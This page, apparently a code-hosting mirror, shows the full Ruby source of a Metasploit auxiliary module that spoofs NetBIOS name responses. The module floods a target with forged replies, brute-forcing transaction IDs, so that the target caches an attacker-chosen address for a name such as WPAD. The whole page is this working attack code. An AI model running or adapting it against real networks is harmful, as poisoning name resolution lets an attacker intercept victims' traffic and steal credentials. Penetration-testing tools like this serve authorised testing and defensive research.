Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/netbios/netbios_spoof.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Udp78def initialize9super(10'Name' => 'NetBIOS Response Brute Force Spoof (Direct)',11'Description' => %q{12This module continuously spams NetBIOS responses to a target for given hostname,13causing the target to cache a malicious address for this name. On high-speed local14networks, the PPSRATE value should be increased to speed up this attack. As an15example, a value of around 30,000 is almost 100% successful when spoofing a16response for a 'WPAD' lookup. Distant targets may require more time and lower17rates for a successful attack.18},19'Author' => [20'vvalien', # Metasploit Module (post)21'hdm', # Metasploit Module22'tombkeeper' # Related Work23],24'License' => MSF_LICENSE,25)2627register_options(28[29Opt::RPORT(137),30OptString.new('NBNAME', [ true, "The NetBIOS name to spoof a reply for", 'WPAD' ]),31OptAddress.new('NBADDR', [ true, "The address that the NetBIOS name should resolve to", Rex::Socket.source_address("50.50.50.50") ]),32OptInt.new('PPSRATE', [ true, "The rate at which to send NetBIOS replies", 1_000])33],34self.class35)36end3738def netbios_spam39payload =40"\xff\xff" + # TX ID (will brute force this)41"\x85\x00" + # Flags = response + authoritative + recursion desired42"\x00\x00" + # Questions = 043"\x00\x01" + # Answer RRs = 144"\x00\x00" + # Authority RRs = 045"\x00\x00" + # Additional RRs = 046"\x20" +47Rex::Proto::SMB::Utils.nbname_encode( [@fake_name.upcase].pack("A15") + "\x00" ) +48"\x00" +49"\x00\x20" + # Type = NB50"\x00\x01" + # Class = IN51"\x00\x04\x93\xe0" + # TTL long time52"\x00\x06" + # Datalength = 653"\x00\x00" + # Flags B-node, unique54Rex::Socket.addr_aton(@fake_addr)5556stime = Time.now.to_f57pcnt = 058pps = 05960print_status("Spamming NetBIOS responses for #{@fake_name}/#{@fake_addr} to #{@targ_addr}:#{@targ_port} at #{@targ_rate}/pps...")6162live = true63while live640.upto(65535) do |txid|65begin66payload[0,2] = [txid].pack("n")67@sock.put(payload)68pcnt += 16970pps = (pcnt / (Time.now.to_f - stime)).to_i71if pps > @targ_rate72sleep(0.01)73end74rescue Errno::ECONNREFUSED75print_error("Error: Target sent us an ICMP port unreachable, port is likely closed")76live = false77break78end79end80end8182print_status("Cleaning up...")83end8485def run86connect_udp87@sock = self.udp_sock8889@targ_addr = rhost90@targ_port = rport91@targ_rate = datastore['PPSRATE']92@fake_name = datastore['NBNAME']93@fake_addr = datastore['NBADDR']9495netbios_spam9697disconnect_udp98end99end100101102